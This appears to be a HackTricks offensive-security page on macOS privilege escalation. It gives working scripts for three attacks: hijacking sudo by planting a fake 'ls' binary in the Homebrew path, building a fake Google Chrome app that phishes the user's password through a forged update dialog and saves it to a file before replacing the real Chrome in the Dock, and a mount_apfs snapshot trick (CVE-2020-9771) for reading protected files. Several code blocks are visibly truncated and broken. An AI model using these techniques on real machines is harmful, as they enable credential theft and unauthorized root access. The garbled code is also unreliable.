macOS Privilege Escalation

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

TCC Privilege Escalation

If you came here looking for TCC privilege escalation go to:

pagemacOS TCC

Linux Privesc

Please note that most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS machines. So see:

pageLinux Privilege Escalation

User Interaction

Sudo Hijacking

You can find the original Sudo Hijacking technique inside the Linux Privilege Escalation post.

However, macOS maintains the user's PATH when he executes sudo. Which means that another way to achieve this attack would be to hijack other binaries that the victim sill execute when running sudo:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
if [ "\$(id -u)" -eq 0 ]; then
    whoami > /tmp/privesc
/bin/ls "\$@"
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Note that a user that uses the terminal will highly probable have Homebrew installed. So it's possible to hijack binaries in /opt/homebrew/bin.

Dock Impersonation

Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:

Some suggestions:

  • Check in the Dock if there is a Chrome, and in that case remove that entry and add the fake Chrome entry in the same position in the Dock array.


# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\
mkdir -p /tmp/Google\

# Payload to execute
cat > /tmp/Google\\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *cmd = "open /Applications/Google\\\\ & "
                "sleep 2; "
                "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
                "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google\")' -e 'end tell' -e 'return userPassword'); "
                "echo \$PASSWORD > /tmp/passwd.txt";
    return 0;

gcc /tmp/Google\\ Chrome.c -o /tmp/Google\\ Chrome
rm -rf /tmp/Google\\ Chrome.c

chmod +x /tmp/Google\\ Chrome

# Info.plist
cat << EOF > /tmp/Google\
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
<plist version="1.0">
    <string>Google Chrome</string>
    <string>Google Chrome</string>

# Copy icon from Google Chrome
cp /Applications/Google\ /tmp/Google\

# Add to Dock
defaults write persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - Root Privilege Escalation

CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation

Any user (even unprivileged ones) can create and mount a time machine snapshot an access ALL the files of that snapshot. The only privileged needed is for the application used (like Terminal) to have Full Disk Access (FDA) access (kTCCServiceSystemPolicyAllfiles) which need to be granted by an admin.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

A more detailed explanation can be found in the original report.

Sensitive Information

This can be useful to escalate privileges:

pagemacOS Sensitive Locations
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated